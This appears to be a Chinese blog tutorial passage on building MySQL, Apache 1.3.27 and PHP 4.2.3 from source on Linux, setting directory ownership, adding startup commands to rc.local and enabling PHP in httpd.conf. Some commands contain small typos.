#chown -R root:mysql  /usr/local/mysql
#chown -R mysql:mysql /usr/local/mysql/data
分别设置目录usr/local/mysql的所属用户是root,所属组是mysql,设置/usr/local/mysql/data的所属用户是mysql,所属组是mysql.
测试数据库,进入mysql目录下的bin目录,用如下的命令
./bin/safe_mysqld –user=mysql &  来启动mysql,
然后用./mysql –u root –p 来进入mysql,注意mysql安装后的初始密码为空。
 测试如通过,将mysql设置为系统启动时启动,可以用vi编辑/etc/rc.d/rc.local也可以用下面的命令直接将mysql的启动项加入到自启动。
echo “/usr/local/mysql/bin/safe_mysqld –user=mysql &” >>/etc/rc.d/rc.local
Mysql已经安装完毕,再来安装php和apache。

在安装Apache
用tar –zxvf  apache_1.3.27.tar.gz来解压apache,解压后会在当前目录下生成一个apache_1.3.27的目录,进入该目录,我们先在/usr/local下创建一个servers的目录,用mkdir /usr/local/servers,然后我们用./configure –prefix=/usr/local/servers/apache对apache的安装目录进行设置
然后用tar –zxvf  php-4.2.3.tar.gz解压php,解压后生成php-4.2.3的目录,进入到该目录,./configure –with-apache=/home/apache_1.3.27 –with-mysql=/usr/local/mysql –enable-track-vars ,这个设置很重要,
  它配置了php与apache以及mysql的关联,相当与将apache和mysql联系在一起。 
接下来,make & make install,至此已成功安装php。
  我们来回到tar –zxvf  apache_1.3.27.tar.gz后生成的目录apache_1.3.27下,然后,再用./configure –prefix=/usr/local/servers/apache \\–activate-module=src/modules/php4/libphp4.a 来对apache进行重新设置,主要是加入识别php代码的模块。
  接着make & make  install,编译apache
  我们回到解压php后生成的php-4.2.3目录下,将php.ini-dist复制到/usr/local/lib/php目录下。          
 然后我们要修改Apache的配置文件httpd.conf
  查看httpd.conf文件中是否有如下行:
  AddType application/x-httpd-php         .php
  AddType application/x-httpd-php-source  .phps
  
  第一条指令指定PHP文件的扩展名为php;第二条指令的意思是,当用浏览器查看一个扩展名为phps的PHP文件时,可以看到加了颜色的源码。
如没有看到,我们在httpd.conf里添加上面的两行。
  现在apache已经配置完毕,我们可以启动apache了。
  #cd /usr/local/servers/apache/bin
  #apachectl start
  和mysql一样,我们设置为系统启动时运行apache,用下面的命令echo “/usr/local/servers/apache/bin/apachetl start”>> /etc/rd.d/rc.local 
   接下来的工作就是把我们已经写好的网页文件放到目录/usr/local/servers/apache/htdocs/ 下,
  数据库文件放到/usr/local/mysql/data/ 下即可,然后重新启动系统就可以浏览我们的网页了。
   


无觅相关文章插件,快速提升流量